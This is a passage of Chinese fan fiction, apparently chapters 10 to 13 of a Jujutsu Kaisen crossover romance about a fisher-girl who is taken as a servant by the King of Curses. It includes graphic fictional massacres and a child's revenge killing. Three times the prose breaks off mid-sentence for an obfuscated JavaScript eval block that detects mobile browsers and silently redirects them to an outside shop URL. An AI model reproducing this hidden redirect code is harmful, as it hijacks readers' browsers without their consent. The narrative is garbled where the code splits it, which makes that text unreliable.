黑猫迈着比空气还要轻盈的步伐走到她身边,面对强光后的眼瞳竖成一条黑线,它盯着那滴摇摇欲坠的血珠,猫耳微微抖了抖。 伸出舌头,将那滴血舔舐得一干二净。 “智能助手也要进食吗?” 她睁开眼,看着因为心虚而背对着自己舔毛的黑猫,伸手摸了摸唇角,自顾自呢喃道:“现在需不需要打狂犬疫苗呢...” 听到这样逗弄般的玩笑,黑猫略有些炸毛,很快,它转移开话题,用的还是那个万能的借口。 【五条家主——目前任务进度99%】 虽然算是个好消息,但关于最主要任务目标的进度依旧是1%,没有任何进展。 它不明白如此神通广大的测试员为什么不主动出击,一直蜗居在海边木屋里,和五条家主上演类似于—— 《瞎眼俏男爱上打鱼的我》这样费力不讨好的情景剧,莫非是有什么隐秘、不为人知的暗线? 萤被黑猫那惟妙惟肖的形容词逗笑,眼角眉梢都挂着明晃晃的笑意,随着藤椅在阳光下一晃一晃。 这时候的她不再像是个忧郁的哲学家,被浅浅拽入人间,纯然到不可思议。 笑够了,她说:“你比我认识的所有智能助手都要可爱一些。” “是吗?谢谢夸奖。” “不用谢,这是你应得的。”唇角勾起笑意,她用手撑着下巴,漫不经心地回答了刚刚那个问题:“当你放下渔网后,总要相信会有鱼被捞起。” 测试员喜欢用一些哲学的话语来解密,它在备忘录里记下了测试员所说的所有富含哲理性的句子,希望有一天可以得到破译。 黑猫一跃重新回到了房梁上,舔着爪子,默默注视着测试员。 看着她随意将身后的长发挽起,遮盖着的棉布滑落,露出一点莹白色的肩颈,上面落了几枚红印。她又打了个几个哈切,趴在阳光照耀下的木桌上,眯起眼睛,餍足得像是只大猫。 她说:“午安,我要睡觉了。” “午安。” 至于床榻上依旧以为是幻梦的醉酒之人,应该是无法看见如此明媚的光了。 * 在雨停的第二日,萤牵着悟的手,一步步走到了圣岳山下的神社中。 路途不算近,只听得风吹树叶的沙沙声。脚下泥土依旧湿润,可以闻见青草的清香。 他依旧是死死牵住那只手,忽然想起昨天喝醉后的美梦,耳垂的浅红晕染至脸颊,浑身都有种说不出的酥麻。 张了张口,又觉得冒然说出这样的话实在是太过失礼了,而且…他想等到一个合适的时机。 就在能看见萤之后,再将自己的心意全盘托出,好不好? 至于萤会有怎样的回答,他不在乎,因为还有一辈子的时间让萤去接受他。 脚步止住,连带着风也轻了不少。 他听见萤说: “这里有九百九十九级石阶,一步一跪拜,等你登上最顶层的石阶就可以向神灵许愿,眼睛也就可以看见了。” 而后,萤松开了牵着他的手,向后撤了两步。 “唯有祈求之人才可踏入神社,我在外面等你,登顶回头就可以看见我。” 他愣了几秒,带着点儿不舍地迈出第一步。 萤又拽住了他,往他嘴里塞了一块吃的,口感很奇特,未等他说些什么,萤笑着解释道: “是茗荷哦,如果悟真的是从天而降的仙子,那么就请遗忘掉人间所有的不堪与痛苦吧。” “回头见。” 这下是再没别的话了。 他知道,萤不会被任何人束缚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15838976|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住,她是海浪,接纳所有过往,同样也不为某人停留。 可他偏不,他就是要把这海浪圈住,将大海填为湖泊,做出一切自私卑鄙的行径。 他没有回话。 果断迈出了第一步,本来停滞的风重新吹起。 好大的一阵风。 他想,等我站在神社顶端回头望去时,我要亲眼看着萤,向她诉说无数无数的爱意,抱着她,亲吻着她,永恒地爱着她。 【五条家主——目前任务进度100%】 … 啪嗒, 齿轮向前转动, 他睁开眼,天蓝色双瞳重新恢复了光彩,只不过大脑有些钝痛。 头顶的圣岳山依旧被积雪覆盖,神社空无一人,唯有风,在诉说悲哀的乐谱。 脖子上佩戴着海螺项链,一身的粗布麻衣,口中还有不知名的味道......一切的一切都显得极为不同寻常,可灵魂深处的喧嚣让他下意识忽略这些。 有道声音警戒着他——别去想。 算了,当务之急是清理干净五条家的那群脏东西。 他发动咒术,顷刻间消失在神社。 没有回头。 ... 【五条家主——目前任务进度0%】 站在山底眺望着的萤转身离开了,她哼着不成调的小曲,打算在这个难得的好天气里去捕鱼。 黑猫趴在她的肩头,问:“为什么不保留关于‘悟’的记忆?” “毕竟那是神子的存在。” 萤皱着眉,看起来完全就是个喜恶分明的孩子,“我不喜欢有人用居高临下的眼神看着我。” “很草率的理由。” “那就直白些,五条家主是神子,可以轻而易举得到他想要的一切,我需要讨好他。”萤顿了顿,“而悟,他失去了一切,只能为了我而活下去。” “我喜欢一切柔软的、易碎的事物,把它们捧在怀中,然后一口口吃掉。” 啊——原来测试者是恋爱中的上位者。 意外符合她的气质。 可怜的五条家主,如果不是那么执着要恢复视力,或许还能再多得到一点点怜悯与偏爱。 黑猫抖了抖胡须,一边同情着,一边在备忘录里悄悄记下测试员的恋爱观念,至于究竟对任务有什么用,它也说不清。 依旧是踩着柔软沙滩回到了海边, 依旧是坐在海边悠闲钓着永不上钩的海鱼, 依旧是落日之后的黄昏之时, ——“今夜海水中有血与诅咒的气味。” 萤看向远处的村庄,那里散发着浓郁的恶臭气息,是咒灵。除去这股气味外,还有源自人类灵魂中里最为恐惧的尖叫,此起彼伏,明明是艳阳天,却让人凭空生出几分寒意。 海面的波涛不止,似乎是在为人类而悲鸣。 鱼竿动了动,她转动着渔轮,毫无意外又是空军。 虽然今天钓不到鱼,但好在渔网倒是捕捉了不少鱼,还顺带有些调味品的收获。 她这样想着,在海边架起火堆开始烤鱼,静静等待那群咒灵过来。 不过,咒灵是等到了,烤鱼也做好了。 可惜没有落入她的口中。 萤抬起头,看着面前咧开嘴角、浑身充斥着血腥与暴戾的不速之客。 犹豫两秒,把最后一串烤鱼也递给对方, 她仰起头,嗓音里带着几分毫不遮掩的讨好之意,开口问道: “我很怕痛,可不可以换一种不那么痛的死法?” 对方挑了挑眉,示意她继续说下去。 于是得到了十分真诚的回答——“可以老死吗?” ...... 不速之客咧开嘴角大笑了起来,笑得很丑,但她不敢说。 11. 第 11 章 如果说正常状态下的诅咒之王是个彻头彻尾的疯子,那么处于「阵痛期」时的他就会是更加恐怖的存在,完完全全丧失了理智,在蝼蚁钻心刻骨的啃噬下变得更为暴虐,只想通过不停破坏来发泄身心的不适。 今日也同往常一样, 他冷漠地看着咒灵将一整个村庄摧毁,听着一道又一道痛苦的哀嚎,人类如同蝼蚁般在地上漫无目的的逃窜,好不容易逃出来的人脸上挂着惊恐和庆幸的神情。 接着,胸膛突然空了,心脏被他掏了出来,在他手中跳动几秒后又被随意扔在地上,滚落几圈便都是泥土与尘埃,再不会发出轰鸣。 生命比尘土还要轻贱几分。 就这样一个接着一个, 村内的人死在咒灵口中,而侥幸逃出去的人死在了他的手中。 也不知道究竟哪一种死法更为划算,毕竟他们只是无数普通生灵中的一员,或许在认识到这个世界的真相后就已经做好了死亡的准备。 时间过去了几秒、几刻、几时...... 整个村庄归于死寂,再没有任何声音,天空中的飞鸟停止了鸣啼,唯有大海——浪花在不停翻涌着,整个世界似乎只有这一种声音。 汲取更多怨念后的咒灵变得庞大起来,在已经化为废墟的村庄中肆意挥发着愤恨,直到这片土地被夷为平地后,它站在原地呆住了,带着失去所有目标与希望的迷茫。 而后,它动了起来,迈着蹒跚步伐向海边踱步,浑身黏稠恶臭的气息将途经的一切花草树木通通化为灰烬,变成枯草。 有什么东西在吸引着它的注意,让它如此迫切地想要找到。 本来打算换个地方发泄的诅咒之王停住脚步,生起几分难得的兴致,于是他也跟了过去。 ... 他看见咒灵走到了海边沙滩,那里有个女人在专心致志地烤鱼,全然没有注意身边所发生的事情。 半散开的乌发遮挡了她的面容,模模糊糊看不真切,如同海边残影。鱼肉的香气飘得很远,烟雾徐徐升上天空。 咒灵站在这女人的面前,收敛起浑身污浊的怨念,伸出手轻轻碰触了她的一缕发丝,如同在轻抚这世上最为珍贵易碎的事物。 海风,呼啸而过。 女人抬起头,长发随风飘落,露出了她的双眸、她的苍白肌肤、她的唇齿,她充满好奇地打量着面前的庞然大物,眨了眨眼,像是看出什么,微笑着轻声说: “是你们呐,要来向我道别吗?” 咒灵的身体发生扭曲,有无数只眼睛和嘴巴在咆哮说话,浑身散发出浓郁黑雾,似乎是在叫嚣着无法言喻的痛苦。 她没有害怕,而是伸手握住了咒灵的一根手指,就这样带着一个令人作呕的诡异生物慢慢挪步至海边。 望向大海,咒灵终于止住了怨念,像是个婴儿般啼哭起来。 它流下了眼泪,这泪水不再是充满咒怨的黑泥,而是近乎海洋般纯净的水雾,充满着源自人类灵魂深处最为纯白的本心,若不是亲眼所见,很难想象到这世上竟会有如此奇迹。 滴答,滴答,滴答, 女人将那些泪滴收集在瓶子中,静静等待着。 咒灵的哭泣止住了,它迈入海底,任由大海将它卷入,一点点,一点点洗去身上的黑雾,化为一片不起眼的浪花,成为大海的一部分。 大海会包容所有——不论是人类,还是由人类而产生的怨念,海洋总是会格外宽容,为其清洗所有污渍,重新涌入它的怀抱之中。 生命源自海洋,同样终结于海洋。 女人又坐回了火堆旁,将刚刚收集到的眼泪洒在烤鱼上,滋啦一声,本来平平无奇的香味变得格外诱人,那是一种散发着勃勃生机的香气,一种这世上任何生物都会为此倾倒的气味。 这就是最后一味调味品,极为关键的一步。 火还在继续烧,鱼彻底熟了。 一共五条烤鱼,被不请自来的诅咒之王吃掉四只。 他感觉体内的诅咒在一瞬间平静不少,可也只有一瞬的消停。 有趣。 低头打量着这个干干瘪瘪、浑身散发着鱼腥味的普通女人,猩红眸子微微眯起,他将手中的竹签随意丢弃,尖锐的黑色指甲就要扎进对方柔弱脖颈时, 女人终于抬起了头,老实巴交的把最后一串烤鱼递到他的手中,明亮到不可思议的黑瞳中倒映出他的模样,带着点儿讨好和好奇的语气,弱弱求他放过自己。 理由听上去实在太傻了, ——想要老死。 嗤,这番话实在是将他逗笑了。是那种捕猎的狮子看见猎物撞到了石头,把自己撞个头破血流的嘲讽笑意。 慢慢嚼碎了手中的最后一条烤鱼,他伸手将坐在小木凳上的女人拽起,近乎是脸贴着脸的距离,可以清楚看见对方脸上的细小绒毛和由太阳晒出的雀斑,当然,还有一股怎么也吹不散的、仿佛刻入骨髓中的鱼腥味。 普通——太普通了,普通到连想要杀了她的欲望都没有。 这样人类的心脏也会和那些人没有什么不同。 当然,这女人仅仅是个在海边捕鱼的渔女,身上穿着破布麻衣,甚至连头发都是枯燥毛糙的,说话带着地方口音.....如果不是刚刚那一幕,他是绝不会把目光停留在这样一个人类身上。 想想看,一位普通的渔女,却拥有无数咒术师都无法拥有的能力。 而且还可以压制他身上的诅咒—— 有趣,太有趣了。 他咧开嘴角,无聊了这么久,终于找到了一个还算不错的玩具。 于是,大发慈悲的诅咒之王暂且同意了普通小渔女的请求,先不杀她。 “如果不想死的话,就当我的仆人。” 两人依旧保持着脸贴脸的距离,温热呼吸打在对方的脸上,带来难以忽视的粘腻水气。 渔女想了想,很是真诚地询问:“管饭吗?” 诅咒之王再次咧开嘴角笑了出来,由此可见,他的笑点蛮低的。 渔女小姐如是想着。 ... 下一秒,他发动了咒术,顷刻间两人便消失在原地。 海边只留下一间孤零零的小木屋, 捕鱼的人,被抓走了。 * 里梅在为大人打猎,那些普通的肉大人都吃腻了,只能去别的地方碰碰运气。 他扛着樱肉,漫步在杂草丛中,大脑不自觉开始放空。 一般来说,他不喜欢想什么问题,大人就是生活的全部,为了大人而活就是他脑中所有的思考。 偶尔也会蹦出一些并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15838977|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愉快的儿时画面,好在那些人都死在了冰刃之下,再也不会成为他的梦魇。除去这些——脑中忽然浮现出一双浓墨般的黑眸,还有一只拂过脸颊的手。 接着,不听话的大脑又开始浮现出一幕又一幕画面: 初遇时她在树荫下发呆、被风沙迷住眼后沾上水雾的双眸、在坩埚前神神秘秘地加入许多调味品、赤脚在沙滩上倒着奔跑、好不容易钓起鱼的洋洋得意...... 她会讲述一个又一个故事,然后垂着双眸,露出某种恬静淡然的笑意。 很难形容那种感觉,就好像是缺失许久的灵魂终于补充上那最为重要的一块。 明明只是简单接触了不到十次而已。 为什么就连她的呼吸声都可以如此鲜活的存在于自己的记忆之中。 「萤」 里梅在口中咀嚼着这个名字,嘴角也不自觉扬起了一点弧度。 头顶的鸟儿发出尖锐鸣叫,扑扇着翅膀离开这片森林,有人叫住了他的名字,脑中思绪被全部打乱。抬起头,那人站在高高的树梢,光芒打在身上,为她蒙上一层金闪闪的外衣,似梦非梦。 她说:“好久不见,梅。” 里梅眨了眨眼,以为这是由大脑虚拟出的假象。 树梢上的人直直张开双臂,恶作剧般大喊一声:“请劳烦接住我!” 下一秒,她从树上坠落,强风将她散落的长发吹得乱七八糟,里梅下意识将身上扛着的樱肉丢弃,发动咒力,看着她缓缓接近,两颗心脏的距离从遥远渐渐缩减为零,就这么落入他的怀中。 那双熟悉的明亮眼眸眨了眨,眼尾泛着红晕。 里梅再次听见那句话—— “梅,能不能帮我把沙子吹出来。” 她似乎总是这样,带着点儿礼貌和亲昵,毫不客气的指使着陌生人做些失格的事情。这样不好,可这样的她又显得十足的率真可怜,让人无法拒绝她的任何请求。 于是,带着冰霜的呼吸再次吹过,很凉。 她再次揉了揉眼睛,然后把头靠在里梅的肩膀,歪着脑袋,像是在对里梅说悄悄话。 气流是从耳朵钻进心脏的,接着带来浑身酥麻的痒意,里梅想要仔细辨认她所说的话语,可只能模糊辨认出几个不成调的音节,全部注意力都放在了那温热的气流之中。 一呼一吸,带着点儿抱怨的喃语, 她浑身都暖洋洋的,身上有着很好闻的大海气息, 她一直在念着他的名字, “梅,烤鱼全被怪物吃掉了...” “梅,刚刚树上有很多毛毛虫...” “......” “梅,怪物的饭量好大...” “梅,我有点儿想回家了...” 梅,从未觉得自己的名字会是如此动听。 里梅琢磨着该如何回复这样长串又可怜的抱怨,下意识忽略了她口中的怪物一词。 再然后,他还没来得及说出口,怀中的人就被一只大手揪了出去。 ——抬起头看去,是大人。 他顺从地垂下头。 大人神色不明,看着手里老实巴交不敢再继续说话的新任仆从,又看向自己的另一个仆从,露出了熟悉的咧嘴笑。 “哦?看来你们早就认识。” 12. 第 12 章 夜晚,山间起了大雾,一切都被蒙上了朦胧的纱雾,静悄悄的。 普通人大多不敢在夜晚踏入森林之中,那里沉睡着太多不知名的怪物,人类的力量在它们面前过于渺小,显得有些不自量力。 滴答, 那是潺潺的溪流声, 若是仔细辨别,还可以听见湖中鱼儿吐出气泡的咕噜咕噜声。 森林在这时显出了它温柔的一面,月光透过雾气挥洒在湖面,泛起粼粼波光, 一只手轻轻碰触了湖面,鱼儿感受到这不同寻常的波动后四处逃散,躲在石头后只露出一点摇曳的鱼尾。似乎是感觉水中温度不算太冷,手的主人终于放下心,用双手捧起清水,慢悠悠打理着有些脏乱的长发。 水渍顺着指尖滑落,一点点滴落到衣领处,将整身粗布衣裳溅湿了大片。 这人又哼起了不知名的山野小调,将已经湿透的长发甩在身后,挽起裤腿,试探着将双脚放入水中,白得近乎反光的肌肤在月色下显出几分透明,青色血管下流动着血液。 雾气加重几分, 啪嗒, 木枝被踩断的清脆声响, 来者下意识将目光放在月色下的溪流中,然后猛地侧过脸,不知现在该作何动作。 湖中的人回过头,眼睛里似乎也有一层迷雾,整个人散发着湿漉漉的水气,眉间有几滴水,顺着脸颊颤巍巍滚落,滑过她浓墨似的双眸,斑斑点点的细小雀斑,殷红的唇角,最后滚落进衣襟深处,再也看不见。 若这山间有鬼魅精怪,那或许就是这人的模样,被这样的眼睛注视着,就算是死亡也会觉得幸福吧。 她的声音很轻,似乎只要开口说话就会将整个世界打碎,但她还是念出了那个名字,“梅......” 若是在山野中听见有人呼喊自己的姓名,千万不要贸然回答,装作听不见,看不清。 水中的鱼儿又开始咕噜咕噜吐着泡泡,她的目光被吸引过去,本质上还是个见到更喜欢玩具就会失去对从前玩具一切喜爱的孩子,人类最本质的喜恶总是能在她身上得到某种直观验证。 是因为一个人生活太久,也或许是从未被社会和他人所规训过的自然存在。 就算是这样,也相当可爱呢。 里梅并非没有见过那些由金钱和无上呵护所培育而成的贵族们。 穿着十二层单衣,裙摆在小步行走中轻轻摇曳着,脸上涂抹着名贵的脂粉,就连呼吸也要在束缚下一点点进行,完全是个精致人偶,没有丝毫活人气息。 除去死前会露出人类灵魂深处自带的恐惧神色,再然后好像都是千篇一律的模样,杀了成百上千的贵族,却只在记忆中留下这样浅薄笼统的印象。 为什么唯独对萤有这样特殊的感觉——? 里梅回忆着她的模样,眼中夹杂几分自己也说不清的探究与疑惑,冰霜般的眸子染上些许温度,让雪地里中的红梅褪去了原来的冷傲,变得摇摇欲坠。 脑海中忽然蹦出了一个答案。 他们是近乎同类的存在啊,卑鄙、粗糙、麻木,游离在人群与世界的边缘,既便死去也不会有任何人觉得惋惜的可怜存在,甚至根本没有人会知道有这样一个人。 用一碰就碎的屏障来守护着脆弱的自己,孤独心脏只有一点点寄托。 里梅的寄托是大人,而萤,她的寄托则是永不停息的大海。 把生命的重量放在某种抽象事物上会显得十足轻盈和透明,在这方面他们又拥有着截然不同的命运走向。 可最后,分岔路口还是交汇在一起,他们又重新连结上那本不可能的命运。 水流声忽地变大, 里梅下意识扭头看向湖心,那里已经没了萤的身影,只有湖面微微荡漾的波纹。他快速迈步至溪水边,水中鱼儿依旧在吐着泡泡,清澈溪流之中蕴藏着某些神秘的传说。 咕噜, 咕噜咕噜, 忽地,水中伸出一只手抓住了他的脚踝,就这样直直将他拽进了透着凉意的湖水之中。 鱼儿被这动静吓到,甩着鱼尾远离这处水域,只留下被静谧月光关照的一小片。 ... 人类对于“水”总是有种天然的亲切与恐惧,如同被母体包裹般轻盈柔和,又要随时担心身体被水所填充,一点点,水一点点在体内蔓延开,浑身毫无力气,带来窒息般的痛苦。 里梅不喜欢水,这源自儿时的糟糕回忆。 被当成怪物的他,在无数孩童的起哄下成为了泄愤的玩具。被抓着头发塞入湖水之中,即便怎么挣扎求饶也无济于事,只能感觉到逐渐变得沉重的身体与大脑,那些人还在嬉笑着,说—— “白色头发好丑啊。” “这种怪物就应该早点儿死掉才对。” “好恶心的家伙,瞧,他已经不动了!” “......” 对于孩子来说,亲手杀死另一个孩子并不算什么大事,生命对于他们而言仅是轻飘飘的存在,没有任何附加概念。就如同碾死一只蝼蚁,好玩就足够了。 濒死前,里梅觉醒了术式,用冰刃一点点,把这群人的眼睛、嘴巴、手指都割了下来,听着那些痛苦的哀嚎和求饶,还有逐渐冷却的身体。 他慢慢擦去溅在脸上的血迹,将尸体扔进池水之中,把整条溪流都冰封起来。 最后,他坐在枯草丛中发呆,不知何去何从。 就算是幼时的自己也清晰明了的事实:杀了人后就不能再在人群里生活下去,我彻底成为了他们所谓怪物的存在。 思索良久后,他伸出了手,想要用冰刃杀死自己。 可惜没有成功。 就是在这一天,他遇见了大人,并成为大人最忠实的奴仆。 这就是里梅生存的全部意义所在,如果没有大人,他可能早就死了,也可能自己早就死在幼年时的溺水之中,这么多年都只是行尸走肉般活着。 过往不堪的回忆再次涌上心头,连带着忘记了人类在水下无法呼吸的事实。 牵着他手腕不停向下游的萤终于停了下来,用手指向湖底荧光闪闪的翠绿色石头,鱼儿们摇着尾巴躲在碎石后面,头顶折射的月光显得雾蒙蒙,整片整片石头都在发着光,把这里称为水底宝藏也不为过。 作为生活在海边的渔女,萤就像是一只鱼,双脚也如同鱼尾般摇摆,在水底自由而又畅快地探索着另一个世界。 想要把自己刚刚意外找到的秘密分享出去,分享给好久不见的朋友,梅君。 她看着那样耀眼夺目的孔雀石,一时间发了呆,真好看啊—— 亮亮的、美丽的、永恒的易碎之物。 想要挖出来,变成收藏品中的一员。 哦对了,自己是不是遗忘了什么重要的事情? 萤恋恋不舍的把目光从石头上移开,这才注意到身后已经呛水晕过去的里梅。 啊啦, 真是糟糕的笨蛋啊。 ... 他紧紧闭上眼,水流顺着鼻腔钻进肺部,一点点剥夺着氧气,带来近乎麻木的痛苦与眩晕,大脑一片漆黑,陷入儿时的噩梦之中。 有无数双手拽着他的白发,那些充血的眼睛盯着他,不停蠕动着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15838978|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的舌头吸食着他的血肉,母亲的哭诉,父亲嫌恶的目光,然后他看见了自己的尸体,飘荡在水池中央,脸色灰白,身体早已被泡得浮肿。 丑陋、恶心的怪物。 就算死去也不会有任何人觉得惋惜吧,因为是怪物,因为从不被期待,因为他根本就不应该存在。 水流漫过了尸体,他也踏进池水之中,想要和儿时的自己一同死去。 “梅...梅...梅!” 有人在呼喊着他的名字,声音像是从水中鱼儿吐出的泡泡,啪嗒,碎开在耳边。 一只手捏住了他的鼻子,紧接着是柔软的唇,对方撬开了他紧闭的牙齿,一点点缓慢地向他渡气,温热气息从口腔传递至全身,暖洋洋的,暖和得他浑身的冰都融化开。 ——好舒服 ——是在做梦吗? ——还是说死去的世界是如此温暖呢? 他感觉唇角被人用力咬开一道口子,带有铁锈味的血液弥漫在口腔之中,这微弱的一点疼痛终于让他恢复了清明,猛地睁开眼,他和一双漆黑色的双眸相对视。 萤向他眨了眨眼睛,渡完最后一口气后松开了紧贴着的双唇,用手指向湖底的荧光石。 即便不说话,他也能感觉到萤那欣喜到近乎溢出来的情绪,他顺着指尖看向了那些石头,很漂亮,和那些贵族收藏的雕刻宝石不大一样,完全未经雕琢,纯粹到难以想象的美。 原来,水底并不是尸体,而是晶莹剔透的另一个世界。 就如同每个第一次看见自然奇迹的人类般,他也发起了呆,好在这一次没有忘记屏住呼吸。 萤牵着他的手,将他拽离了湖底。 乌黑长发在水中飘荡,缠在他的手腕上,扫过他的眉眼,他看着萤的背影,那些说不出口的话变成了咕噜咕噜的气泡,沉寂在这片湖中。 刷啦—— 两人终于呼吸到了新鲜空气, 萤伸手随意将打湿的长发披在身后,笑得很满足,眯起眼睛对他说:“竟然可以看见这样的风景,就算是死掉也会感觉很幸福吧。” 里梅的目光放在萤眼尾挂着的一滴水上,然后侧过脸,低声应和了一句。 似乎是觉得他状态不怎么对,萤有些担心地贴了过去,两个湿漉漉的身体相碰触,却都感觉到对方身上的温热,带来触电般诡异悸动。 萤伸出指尖,小心摸了摸他的耳朵,那里依旧是一片通红。 “是因为在水下太久,不舒服吗?” “...没有。” 依旧是听起来很敷衍的回答。 好在渔女小姐也是个不怎么懂得人情世故和弯弯绕绕的笨蛋,认真点点头,又被其它事物吸引了注意力。对别人所说的谎言和伪装一点判断力都没有呢。 萤忽然竖起食指——“嘘” 接着,扑通一声, 一头栽进湖水中,听得一连串咕噜咕噜的急促气泡后,她抱着活蹦乱跳的大鱼重新露出水面。 骄傲的表情还未在脸上挂着三秒,就瞧见岸边站着个模糊的影子,月光恰好照在那人身上,是那个压抑着癫狂的怪物。 哦不,现在应该称之为大人。 怀中的大鱼死命扑扇着鱼尾,给了萤几个大嘴巴子,脸上留下了有些许滑稽的红晕。 她吐出一口湖水,把鱼高高举在头顶,收敛起脸上的笑意,用那副绝对不会出错的老实人表情真诚低下头—— “我和梅君一起来为您找夜宵。” ... 听得一声嗤笑。 总在这种时候意外敏锐呢,渔女小姐。 13. 第 13 章 渔女是个再普通不过的人类,虽然看起来老实巴交不会撒谎,但对于情绪的变化却是意外敏锐,总可以在危险边缘来回试探。 说她蠢,倒也不是那么蠢。就比如现在,板着个小脸认真为大人烤鱼,目光专注到像是在完成什么神圣的事业。 翻身、撒调料、添加柴火......每一步都干脆利落,那双并不纤细的粗糙手掌在此时也显出了别样的魔力,让人忍不住沉浸在她的眼眸之中。 不过一会儿,烤鱼就散发出了独特香味。 很神奇,明明都只是再平常不过的加工,怎么会呈现出如此诱人的味道。 “那个...大人?” 将大鱼料理完毕的渔女小姐有些纠结,毕竟那位怪物大人正在不远处眯着眼睛假寐,如果打扰的不合时宜,会不会直接被当成下鱼菜。 要知道,她现在还只是考察期仆从,只要有一点不对的地方,可能就会降级为储备粮了。被怪物大人一口吃掉,嚼都不用嚼。 这时候,倒可以说她是个笨蛋,纠结紧张的情绪完完全全挂在脸上,毫不遮掩。微微皱着眉,仿佛遇见了人生最大难题。 柴火燃烧的噼里啪啦声打破了寂静, 里梅透过跳跃着的火焰看见坐在对面努力比划手势的萤,先是用食指指了指大人又指了指烤鱼,屏住呼吸用气声问——“现在、可以、去送饭吗?” 小心翼翼的样子也很可爱。 不过,当然不可以。 还未等他说出回答,身上忽然感受到来自大人的咒力...嘴巴被封住了。 里梅垂下眸,往火堆里又塞入几根柴火,火焰燃烧得更旺,这下两人之间是彻底看不见对方了。 他听见萤起身时衣服布料的摩擦声,还有踩过树枝枯叶的沙沙声,然后声音停下了。 这像是某种预告。 ——“大人。” ——“鱼烤好了。” ——“您现在饿不饿?” 理所当然的,没有得到回答。 怪物大人长得很高很高,萤只能仰着头看他,为了不被吃掉,很努力地把烤鱼高高举在头顶,并做出单膝下跪的姿势。 怎么说呢,虽然看起来礼数周全,但就是觉得有几分好笑。 里梅还在添加柴火,他用余光注视着旁边所发生的一切,心中明了大人心中那点恶趣味。无非是想要晾着萤,让萤吃点儿苦头。 可惜…大人还不知道萤的体质吧。 作为亲眼目睹萤在渔船上和鲨鱼搏斗得有来有回的人,里梅到现在还记得那副诡异到不可思议的场景。 不过那件事也是因他而起,因为一句——“在为大人寻找特殊的肉而烦恼”,萤立马拉开船帆,说什么也要为他抓到一只大鲨鱼,拦都拦不住。 最后,里梅看着萤一个人拿着生锈柴刀单杀鲨鱼,大量血液喷溅在她的身上,血淋淋一片,带着腥臭气味。那只鲨鱼的尸体被挂在船尾,引得无数鱼儿啃食,最后只剩下一副残骨。 萤将肉分割好,露出了如往常一样的笑容,眼睛依旧明亮,轻快哼着歌返航。 就在这时,里梅清楚知道:他们是同类。 都是疯子。 时间过了许久,久到火堆中的柴火已经燃尽。大人依旧没有睁开眼,而萤也就始终保持着那个动作,她倒是没有显出半点不适,甚至偷偷打了好几个哈切,眼睛里雾蒙蒙一片。 ……实在觉得无聊的萤转过头,依旧用气声向里梅询问:“他是不是真的睡着了?” 话音刚落,大人就睁开了眼,猩红眼眸嫌恶地瞥了眼已经凉透的烤鱼,他伸出手,轻而易举地揪起了不听话的小仆人。 黑色指尖压在脖颈处的软肉上,用力按住,轻松刺破了皮肉,血液顺着指尖滴落,似乎也带有挥之不去的鱼腥味,将仆人那灰扑扑的衣服染上红色。 坏心眼的大人无不恶劣地想要看见对方眼中产生恐惧和害怕的神色,可惜小仆人只是抱紧了烤鱼,眼睛瞪得圆圆的,有那么一丝慌乱。 在想到什么后果断一口咬住了烤鱼,开始十分有技巧地吃鱼。 饶是见多识广的怪物大人也没想到他的仆人会有这样的反应,他在心中啧了一口,把那已经被啃了大半的烤鱼扔在地上。 手中的小仆人愣了几秒,努力把腮帮子里的鱼肉嚼完,然后开始激烈反抗,并且十分有理有据,“如果要吃掉我,也先让我做个饱死鬼嘛!” “而且,这条鱼很大,很难抓到的!” 知不知道这对于一个永远都钓不到鱼的空军来说,是一个多么大的成就和诱惑?! 说完,她也像是只鱼般在怪物大人的手中乱蹦,丝毫不在乎脖颈处愈发撕裂的伤口。最后这只鱼成功逃离魔爪,把地上已经沾染灰尘的烤鱼捞起,用力吹去上面的灰。 就在大人以为小仆人会把烤鱼重新塞回嘴里时,这家伙竟然扭头在树下挖了个坑,把死不瞑目的烤鱼埋好,并插上一根树杈。 合掌叹气道:“对不起了,请你安息吧,鱼。” 末了,还不忘补充一句——“你把自己养得很好吃,希望下辈子也是一条好吃的鱼。” 每一步都无法预料的诡异。 什么啊,这女人,还真是有趣啊。 对于怪物大人来说,这还是平生第一次遇见如此不怕死的人类,他的兴趣又提升了几分。 或许现在可以从储备粮升级为有点儿意思的储备粮仆人。 他闻到了指尖血液的气息,和预想中差不多,也带有难闻的鱼腥味。怎么会有人类的血液是这样恶心的味道…… 怪物大人消失在原地,也不知道他每天都在忙些什么,反正除了饭点外几乎没有碰见过。 每次都带着浑身已经半凝固的血液突然出现,四只胳膊也会完全露出来,然后发疯般撕掉自己的和服,狂笑着摧毁周围的一切。 等他发完疯,也就差不多可以把做好的饭递过去了。 总而言之,每天就是这么一套流程。 除去需要担心被意外杀掉当加餐外,这份新工作还勉强算得上是十分自由。 